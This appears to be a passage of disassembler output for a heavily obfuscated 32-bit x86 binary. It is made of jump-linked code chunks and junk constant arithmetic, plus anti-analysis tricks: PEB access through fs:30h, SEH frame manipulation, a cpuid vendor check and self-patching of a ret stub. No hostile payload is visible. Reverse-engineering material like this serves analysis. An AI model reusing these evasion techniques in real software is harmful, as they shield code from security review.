; =============== S U B R O U T I N E =======================================
sub_42BC93 proc near ; CODE XREF: sub_42AC2D-919Dp
; _94j21ax3:0042499Ej
mov [esp+0], ebx
pop ebx
jz loc_424940
mov eax, [eax]
jmp loc_425994
sub_42BC93 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42AC2D
loc_42BCA4: ; CODE XREF: sub_42AC2D:loc_42AC48j
or eax, eax
call sub_42A919
; END OF FUNCTION CHUNK FOR sub_42AC2D
; START OF FUNCTION CHUNK FOR sub_421F28
loc_42BCAB: ; CODE XREF: sub_421F28+510Dj
jmp loc_42ADB1
; END OF FUNCTION CHUNK FOR sub_421F28
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42982D
loc_42BCB0: ; CODE XREF: sub_42982D:loc_42978Dj
add ecx, esi
ror esi, 0Ah
test esi, 628842F5h
jmp loc_42323D
; END OF FUNCTION CHUNK FOR sub_42982D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423614
loc_42BCC0: ; CODE XREF: sub_423614-BB2j
rol eax, 19h
and eax, 4024D9E9h
add eax, 22868Bh
call sub_423614
loc_42BCD4: ; CODE XREF: sub_423517:loc_42B81Dj
pop edi
add edi, 684A89AEh
xchg edi, [esp-4+arg_0]
jmp nullsub_5
; END OF FUNCTION CHUNK FOR sub_423614
; ---------------------------------------------------------------------------
and edx, 1226496Dh
jmp loc_427716
; ---------------------------------------------------------------------------
loc_42BCEE: ; DATA XREF: sub_42A61F+7o
mov ebp, esp
push ecx
mov esp, ebp
xchg esi, [esp]
mov ebp, esi
jmp loc_422665
; ---------------------------------------------------------------------------
loc_42BCFD: ; CODE XREF: _94j21ax3:00421CE9j
; _94j21ax3:loc_42B4B6j
jno loc_422138
; =============== S U B R O U T I N E =======================================
sub_42BD03 proc near ; CODE XREF: sub_421013+6CEp
; FUNCTION CHUNK AT 004215E5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004222A4 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00422481 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00423201 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00429CBF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042B3BF SIZE 0000000B BYTES
xchg eax, [esp+0]
pop eax
cmp dword ptr [ebp-4], 0
jz loc_424955
jmp loc_4215E5
sub_42BD03 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_42BD16 proc near ; DATA XREF: _94j21ax3:0042694Co
add edi, ebp
push eax
push 3461ABE1h
pop eax
xor eax, 0FCC69B0h
jmp loc_428A9E
sub_42BD16 endp
; ---------------------------------------------------------------------------
locret_42BD2A: ; CODE XREF: _94j21ax3:0042577Fj
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42284F
loc_42BD2B: ; CODE XREF: sub_42284F+2493j
jmp loc_42ADF8
; END OF FUNCTION CHUNK FOR sub_42284F
; =============== S U B R O U T I N E =======================================
sub_42BD30 proc near ; DATA XREF: sub_42A0CC-6C5Bo
; FUNCTION CHUNK AT 0042382D SIZE 00000005 BYTES
push 8631EE58h
pop ecx
push offset loc_42729E
jmp loc_42382D
sub_42BD30 endp
; ---------------------------------------------------------------------------
dword_42BD40 dd 8B3CC083h, 0FC450300h, 0E918C083h, 0FFFFA68Ch
; DATA XREF: sub_42982D+10ADo
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C1AE
loc_42BD50: ; CODE XREF: sub_42C1AE-730Fj
not eax
jmp loc_42C422
; END OF FUNCTION CHUNK FOR sub_42C1AE
; ---------------------------------------------------------------------------
loc_42BD57: ; DATA XREF: sub_4290B2:loc_42310Ao
mov eax, ds:dword_429F8C
or eax, eax
jnz loc_42A375
call sub_42574E
push 32E7974h
jmp loc_4234FB
; ---------------------------------------------------------------------------
loc_42BD74: ; CODE XREF: _94j21ax3:loc_42367Ej
jnz loc_425743
mov eax, [ebp-4]
mov [ebp-0Ch], eax
shl dword ptr [ebp-8], 8
jmp loc_427E88
; ---------------------------------------------------------------------------
locret_42BD89: ; CODE XREF: _94j21ax3:0042563Dj
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422538
loc_42BD8A: ; CODE XREF: sub_422538+19j
jmp loc_42A5D2
; END OF FUNCTION CHUNK FOR sub_422538
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422EB0
loc_42BD8F: ; CODE XREF: sub_422EB0+9268j
push edx
push eax
mov eax, [ebp-18h]
add eax, eax
loc_42BD96: ; CODE XREF: sub_4295ED+5j
cdq
jmp loc_428F82
; END OF FUNCTION CHUNK FOR sub_422EB0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A254
loc_42BD9C: ; CODE XREF: sub_42A254:loc_424543j
; sub_42A254-268Dj
call sub_42574E
mov edx, 0C90D1845h
push ecx
push 745BBEC7h
pop ecx
and ecx, 0B266F7DDh
jmp loc_4286EF
; END OF FUNCTION CHUNK FOR sub_42A254
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428BBD
loc_42BDB8: ; CODE XREF: sub_428BBD-393Ej
jl loc_4235F6
shl ebx, 8
jmp loc_428234
; END OF FUNCTION CHUNK FOR sub_428BBD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42315D
loc_42BDC6: ; CODE XREF: sub_42315D+5892j
mov eax, [eax]
or eax, eax
jnz loc_421E14
jmp loc_42901D
; END OF FUNCTION CHUNK FOR sub_42315D
; ---------------------------------------------------------------------------
loc_42BDD5: ; CODE XREF: _94j21ax3:0042B55Bj
xor edi, edx
; =============== S U B R O U T I N E =======================================
sub_42BDD7 proc near ; CODE XREF: sub_42851E-41D9p
arg_4 = dword ptr 8
xchg eax, [esp+0]
pop eax
popf
xchg ecx, [esp-8+arg_4]
call sub_42541E
push offset sub_42A81A
jmp nullsub_176
sub_42BDD7 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_42BDEE: ; CODE XREF: _94j21ax3:loc_42AFE9j
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_429EDB
loc_42BDEF: ; CODE XREF: sub_429EDB+Cj
jmp loc_42A654
; END OF FUNCTION CHUNK FOR sub_429EDB
; =============== S U B R O U T I N E =======================================
sub_42BDF4 proc near ; CODE XREF: _94j21ax3:00421836j
; sub_421D33+A828p
; FUNCTION CHUNK AT 00424F82 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00425762 SIZE 0000000A BYTES
xchg edi, [esp+0]
pop edi
mov eax, [ebp-20h]
call sub_425539
jmp loc_425762
sub_42BDF4 endp ; sp-analysis failed
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_187. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428B5E
loc_42BE06: ; CODE XREF: sub_428B5E-491Aj
pushf
push 1E26D282h
pop ebx
sub ebx, 98802EAh
jmp loc_424916
; END OF FUNCTION CHUNK FOR sub_428B5E
; ---------------------------------------------------------------------------
mov edx, 92B16BD7h
call sub_4239A5
call sub_42574E
push 0A800C06Fh
pop edx
jmp loc_4293FB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_427CAC
loc_42BE32: ; CODE XREF: sub_427CAC+2893j
xor eax, esi
add eax, edi
add al, ah
and eax, 7
mov [ebp-4], eax
jmp loc_4294BD
; END OF FUNCTION CHUNK FOR sub_427CAC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424C37
loc_42BE43: ; CODE XREF: sub_424C37:loc_4258DBj
lea eax, [ebp-24h]
jmp loc_4228B4
; END OF FUNCTION CHUNK FOR sub_424C37
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428381
loc_42BE4B: ; CODE XREF: sub_428381+Aj
lea eax, nullsub_4
mov byte ptr [eax], 0C3h
call nullsub_9
call sub_4265C2
call nullsub_5
mov dword ptr [ebp-4], 1
mov eax, 0
or eax, eax
jmp loc_425313
; END OF FUNCTION CHUNK FOR sub_428381
; ---------------------------------------------------------------------------
test al, al
jz loc_4238A6
call sub_427B35
retn
; =============== S U B R O U T I N E =======================================
sub_42BE84 proc near ; CODE XREF: sub_422973+72AFp
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0042C218 SIZE 00000005 BYTES
mov [esp+0], esi
pop esi
loc_42BE88: ; CODE XREF: _94j21ax3:loc_4278F4j
add edx, 224F5AD4h
xchg edx, [esp-4+arg_0]
jmp loc_42C218
sub_42BE84 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423324
loc_42BE96: ; CODE XREF: sub_423324+6EBCj
jg loc_42206B
popf
jmp loc_42B272
; END OF FUNCTION CHUNK FOR sub_423324
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_425301
loc_42BEA2: ; CODE XREF: sub_425301+5F32j
push offset sub_42960D
jmp nullsub_212
; END OF FUNCTION CHUNK FOR sub_425301
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42284F
loc_42BEAC: ; CODE XREF: sub_42284F+4CA3j
shr ebp, 12h
jmp loc_423762
; END OF FUNCTION CHUNK FOR sub_42284F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4294B3
loc_42BEB4: ; CODE XREF: sub_4294B3-6480j
js loc_4241B1
js loc_424382
jz loc_423941
loc_42BEC6: ; CODE XREF: sub_423324-F3Aj
; sub_423324:loc_4243B4j ...
jb loc_42A94C
push offset sub_42A268
jmp loc_42A9FD
; END OF FUNCTION CHUNK FOR sub_4294B3
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_42BED6 proc near ; CODE XREF: sub_426B87+Bj
retn
sub_42BED6 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42541E
loc_42BED7: ; CODE XREF: sub_42541E+6j
jmp sub_42C5CD
; END OF FUNCTION CHUNK FOR sub_42541E
; =============== S U B R O U T I N E =======================================
sub_42BEDC proc near ; CODE XREF: _94j21ax3:00423C7Bj
; sub_422538+4CF5p
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00421370 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00425A4A SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00427B04 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004286BC SIZE 0000000A BYTES
mov [esp+0], ecx
pop ecx
xchg ecx, [esp-4+arg_0]
push 0A34B8BCCh
pop edi
sub edi, 0E34002C9h
add edi, 0C9FCA654h
jmp loc_427B04
sub_42BEDC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_42BEFA proc near ; CODE XREF: _94j21ax3:00429C01j
; sub_42426B+62E3p
xchg eax, [esp+0]
pop eax
add eax, 82907F8Dh
loc_42BF04: ; CODE XREF: sub_421822:loc_423ED1j
call sub_42270C
locret_42BF09: ; CODE XREF: sub_4294B3-5126j
retn
sub_42BEFA endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421246
loc_42BF0A: ; CODE XREF: sub_421246+3j
jmp loc_424DBF
; END OF FUNCTION CHUNK FOR sub_421246
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A4DC
loc_42BF0F: ; CODE XREF: sub_42A4DC+13j
pop ebx
retn
; END OF FUNCTION CHUNK FOR sub_42A4DC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42BF31
loc_42BF11: ; CODE XREF: sub_42BF31+Fj
jmp loc_4293AB
; END OF FUNCTION CHUNK FOR sub_42BF31
; ---------------------------------------------------------------------------
loc_42BF16: ; CODE XREF: _94j21ax3:004282D1j
rol eax, 19h
push eax
retn
; =============== S U B R O U T I N E =======================================
sub_42BF1B proc near ; CODE XREF: sub_42B358+8p
; FUNCTION CHUNK AT 004224FE SIZE 00000014 BYTES
call sub_425168
loc_42BF20: ; CODE XREF: sub_4248E7-2A73j
jmp loc_4224FE
sub_42BF1B endp ; sp-analysis failed
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_153. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
loc_42BF26: ; CODE XREF: _94j21ax3:0042BBEAj
cmp ebx, 59876B1Ah
jmp loc_42B4B6
; =============== S U B R O U T I N E =======================================
sub_42BF31 proc near ; CODE XREF: _94j21ax3:0042428Ep
; _94j21ax3:00429591j
; FUNCTION CHUNK AT 004293AB SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0042BF11 SIZE 00000005 BYTES
mov [esp+0], eax
pop eax
mov edx, 87C4571Ah
push ebx
push 9572EA6Eh
jmp loc_42BF11
sub_42BF31 endp
; ---------------------------------------------------------------------------
lea eax, [ebp-14h]
jmp loc_4285BA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4210AA
loc_42BF4D: ; CODE XREF: sub_4210AAj
push edi
mov edi, ebp
xchg edi, [esp+4+var_4]
mov ebp, esp
add esp, 0FFFFFFECh
cmp ds:dword_422274, 0
jmp loc_426E0D
; END OF FUNCTION CHUNK FOR sub_4210AA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422EB0
loc_42BF64: ; CODE XREF: sub_422EB0+7F90j
xchg edi, [edx]
sbb edx, 54AFECE1h
jmp loc_4272F4
; END OF FUNCTION CHUNK FOR sub_422EB0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_425934
loc_42BF71: ; CODE XREF: sub_425934+Aj
sub eax, 9AAB6C04h
cmp eax, 0E5858AB7h
jmp loc_429F5E
; END OF FUNCTION CHUNK FOR sub_425934
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B9CF
loc_42BF82: ; CODE XREF: sub_42B9CF:loc_42BFEBj
shr ebp, 5
jmp loc_42945F
; END OF FUNCTION CHUNK FOR sub_42B9CF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_429EDB
loc_42BF8A: ; CODE XREF: _94j21ax3:loc_42114Ej
; sub_429EDB+77Fj
sub edi, ecx
shl edx, 1Ah
jmp loc_426450
; END OF FUNCTION CHUNK FOR sub_429EDB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B03C
loc_42BF94: ; CODE XREF: sub_42B03C+Aj
mov [ebp-1], al
cmp byte ptr [ebp-1], 0
jz loc_427FAC
mov dword ptr [ebp-8], 1
jmp loc_42740E
; END OF FUNCTION CHUNK FOR sub_42B03C
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42BFAD proc near ; CODE XREF: sub_4215F9j
var_8 = dword ptr -8
var_1 = byte ptr -1
; FUNCTION CHUNK AT 00423BA0 SIZE 00000014 BYTES
push ebp
mov ebp, esp
add esp, 0FFFFFFF8h
jmp loc_423BA0
sub_42BFAD endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C5E8
loc_42BFB8: ; CODE XREF: sub_42C5E8:loc_423D03j
test ebx, 0DDD838Eh
jmp loc_42C08D
; END OF FUNCTION CHUNK FOR sub_42C5E8
; ---------------------------------------------------------------------------
xor ebx, ebp
loc_42BFC5: ; CODE XREF: _94j21ax3:loc_4259D5j
jmp sub_422E7B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42484C
loc_42BFCA: ; CODE XREF: sub_42AA5F:loc_423CD2j
; sub_42B856:loc_424986j ...
mov ecx, [ebp-14h]
and ecx, 7
mov al, 1
shl al, cl
mov edx, [ebp-14h]
loc_42BFD7: ; CODE XREF: sub_42269A:loc_429FE3j
shr edx, 3
push 66B04C65h
pop ecx
jmp loc_428752
; END OF FUNCTION CHUNK FOR sub_42484C
; =============== S U B R O U T I N E =======================================
sub_42BFE5 proc near ; CODE XREF: sub_423284:loc_4239DFp
mov eax, 0CCh
retn
sub_42BFE5 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B9CF
loc_42BFEB: ; CODE XREF: sub_42B9CF:loc_42A0E5j
jmp loc_42BF82
; END OF FUNCTION CHUNK FOR sub_42B9CF
; =============== S U B R O U T I N E =======================================
sub_42BFF0 proc near ; CODE XREF: sub_425975+4p
; sub_421656+4495p ...
; FUNCTION CHUNK AT 00427326 SIZE 0000001E BYTES
jno sub_427344
push ebp
mov ebp, esp
push ecx
cmp ds:dword_42C488, 0
jmp loc_427326
sub_42BFF0 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_425790
loc_42C006: ; CODE XREF: sub_425790+44B3j
xchg ebx, [ebp+0]
loc_42C009: ; CODE XREF: sub_425790:loc_422C60j
call sub_42574E
push 0FADCEE07h
pop edx
sub edx, 0AC3DE205h
add edx, 0CB30BA29h
call sub_4239A5
push eax
jmp loc_42406C
; END OF FUNCTION CHUNK FOR sub_425790
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421822
loc_42C02B: ; CODE XREF: sub_421822+671Fj
cmp eax, edx
jmp loc_423ED1
; END OF FUNCTION CHUNK FOR sub_421822
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C057
loc_42C032: ; CODE XREF: sub_42C057:loc_424834j
or eax, eax
jnz loc_42AB50
; END OF FUNCTION CHUNK FOR sub_42C057
; START OF FUNCTION CHUNK FOR sub_42284F
loc_42C03A: ; CODE XREF: sub_42284F-12B3j
jmp loc_42C531
; END OF FUNCTION CHUNK FOR sub_42284F
; =============== S U B R O U T I N E =======================================
sub_42C03F proc near ; CODE XREF: sub_42AA5F-9522p
; sub_428B5E:loc_424443j
; FUNCTION CHUNK AT 00426F0F SIZE 00000003 BYTES
; FUNCTION CHUNK AT 0042AAA4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042B1CF SIZE 0000000B BYTES
mov [esp+0], edi
pop edi
pop ebp
mov eax, ds:dword_429F84
or eax, eax
jnz loc_426F0F
jmp loc_42AAA4
sub_42C03F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_42C057 proc near ; CODE XREF: sub_423324:loc_4216F7p
; sub_423324-19EBp ...
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00421204 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00421C99 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00421CDB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004226C6 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042369C SIZE 00000013 BYTES
; FUNCTION CHUNK AT 004240CF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424834 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004248C8 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00425261 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004265B7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426EB3 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 004281DE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00428288 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00428D2E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042937D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004299E0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042AB50 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042AF12 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0042C032 SIZE 00000008 BYTES
jnz loc_42369C
mov eax, ds:dword_42343C
or eax, eax
jnz loc_42AB50
jmp loc_428D2E
sub_42C057 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_42C070: ; CODE XREF: _94j21ax3:loc_424364j
jnz loc_42B255
jmp loc_427AB3
; ---------------------------------------------------------------------------
loc_42C07B: ; CODE XREF: _94j21ax3:004245DEj
push ecx
push ebx
mov ebx, edx
xchg ebx, [esp]
and eax, 814D6B6Fh
jmp loc_42A13E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C5E8
loc_42C08D: ; CODE XREF: sub_42C5E8-62Aj
jz loc_42949F
jbe sub_422141
mov [ecx], edx
rol edx, 16h
jmp loc_423400
; END OF FUNCTION CHUNK FOR sub_42C5E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421A9F
loc_42C0A3: ; CODE XREF: sub_421A9F:loc_427C64j
pop ecx
xor eax, eax
retn
; END OF FUNCTION CHUNK FOR sub_421A9F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_429EBD
loc_42C0A7: ; CODE XREF: sub_429EBD-3E9j
jmp sub_42780F
; END OF FUNCTION CHUNK FOR sub_429EBD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423324
loc_42C0AC: ; CODE XREF: _94j21ax3:00421684j
; sub_423324:loc_423337j ...
pop large dword ptr fs:0
add esp, 4
retn
; END OF FUNCTION CHUNK FOR sub_423324
; ---------------------------------------------------------------------------
loc_42C0B7: ; CODE XREF: _94j21ax3:0042C183j
jmp loc_42313B
; =============== S U B R O U T I N E =======================================
sub_42C0BC proc near ; CODE XREF: sub_422898+4p
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 004212F5 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 004217F3 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00421A2E SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00421F9D SIZE 00000006 BYTES
; FUNCTION CHUNK AT 004220CE SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0042259C SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00422E13 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042320D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00423F75 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004242F9 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00424529 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00424637 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042488B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00425522 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042560B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426BBE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00426BFF SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00427384 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00427484 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00427548 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427B09 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00428195 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00428577 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00428C05 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428E26 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00429D30 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A384 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A403 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0042ABF8 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042AFD1 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042BBAB SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0042C163 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042C36D SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0042C588 SIZE 00000005 BYTES
push large dword ptr fs:0
mov large fs:0, esp
jmp loc_425522
sub_42C0BC endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B238
loc_42C0CF: ; CODE XREF: sub_42B238-8A81j
xor edx, 0BCD6C541h
loc_42C0D5: ; CODE XREF: sub_42B238:loc_422A7Bj
push offset sub_428B71
jmp nullsub_208
; END OF FUNCTION CHUNK FOR sub_42B238
; ---------------------------------------------------------------------------
adc ebp, 142DB632h
jmp sub_425983
; ---------------------------------------------------------------------------
call sub_4251F2
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_82. PRESS KEYPAD "+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_166. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
jmp locret_42A708
; ---------------------------------------------------------------------------
shr eax, 0Bh
jg loc_42697D
jmp sub_427087
; ---------------------------------------------------------------------------
loc_42C104: ; DATA XREF: sub_423C51:loc_426552o
cmp eax, [ebp-8]
jnz loc_429C97
mov eax, [ebp-14h]
mov eax, [eax+24h]
add eax, [ebp-4]
; START OF FUNCTION CHUNK FOR sub_422EB0
loc_42C116: ; CODE XREF: sub_422EB0:loc_4218B3j
xor edx, edx
jmp loc_42BD8F
; END OF FUNCTION CHUNK FOR sub_422EB0
; ---------------------------------------------------------------------------
shl edx, 3
jmp sub_42A9E7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423F55
loc_42C125: ; CODE XREF: sub_423F55:loc_427418j
jnz loc_42BC7E
jmp loc_422110
; END OF FUNCTION CHUNK FOR sub_423F55
; ---------------------------------------------------------------------------
locret_42C130: ; CODE XREF: _94j21ax3:00421771j
retn
; ---------------------------------------------------------------------------
add edx, 613DDA94h
jmp loc_429441
; ---------------------------------------------------------------------------
test al, al
jz loc_424753
jmp loc_421553
; =============== S U B R O U T I N E =======================================
sub_42C149 proc near ; CODE XREF: sub_42169F+521Dp
; FUNCTION CHUNK AT 00424F44 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00429F90 SIZE 00000005 BYTES
xchg ecx, [esp+0]
mov ecx, [esp+0]
push 0E687946Bh
pop ecx
rol ecx, 18h
and ecx, 1E759CD4h
jmp loc_424F44
sub_42C149 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C0BC
loc_42C163: ; CODE XREF: sub_42C0BC-A8BAj
jnz loc_428E2D
jmp loc_42320D
; END OF FUNCTION CHUNK FOR sub_42C0BC
; ---------------------------------------------------------------------------
sbb esi, ecx
jmp loc_4229F5
; ---------------------------------------------------------------------------
loc_42C175: ; CODE XREF: _94j21ax3:004281FAj
not ebp
popf
pop esi
loc_42C179: ; CODE XREF: _94j21ax3:loc_42A7EBj
mov eax, large fs:30h
mov eax, [eax+0Ch]
jmp loc_42C0B7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424775
loc_42C188: ; CODE XREF: sub_424775:loc_42770Cj
cmp dword ptr [ebp-10h], 0
jnz loc_42C1A3
cmp dword ptr [ebp-0Ch], 5
jnz loc_42C1A3
mov eax, [ebp+8]
or dword ptr [eax-8], 8
; END OF FUNCTION CHUNK FOR sub_424775
; START OF FUNCTION CHUNK FOR sub_4232F5
loc_42C1A3: ; CODE XREF: sub_429C48:loc_421076j
; sub_427AEB-6939j ...
jno loc_42C400
jmp loc_422C87
; END OF FUNCTION CHUNK FOR sub_4232F5
; =============== S U B R O U T I N E =======================================
sub_42C1AE proc near ; CODE XREF: sub_429A83-3F72p
; _94j21ax3:0042BA9Dj
; FUNCTION CHUNK AT 004210EF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042178F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00421C38 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00421F65 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004223BB SIZE 00000008 BYTES
; FUNCTION CHUNK AT 004229AE SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00424D01 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00424E99 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00424ECD SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00425896 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00425B6D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426650 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00426CD4 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004275DB SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00427B70 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00427EE0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042877C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00428A5D SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00428BF0 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0042AA02 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042AEC8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042BD50 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042C228 SIZE 00000005 BYTES
mov [esp+0], ecx
pop ecx
mov eax, 0
cpuid
xor [esi], ebx
add [esi], edx
xor [esi], ecx
cmp ebx, 756E6547h
jmp loc_42AEC8
sub_42C1AE endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_42C1CA: ; CODE XREF: _94j21ax3:loc_4275C1j
jge loc_425019
jz loc_429585
sub edi, edx
jmp loc_422252
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422C48
loc_42C1DD: ; CODE XREF: sub_422C48+3F71j
jo loc_421FB1
loc_42C1E3: ; CODE XREF: sub_42ADA2:loc_42BB45j
push 0F269A29Eh
pop eax
sub eax, 16E8691h
cmp eax, 206E3E65h
jmp loc_427430
; END OF FUNCTION CHUNK FOR sub_422C48
; ---------------------------------------------------------------------------
dw 0A192h
dword_42C1FC dd 0C77D45CBh ; DATA XREF: sub_42430C+8r
; sub_424AED+391Br
; ---------------------------------------------------------------------------
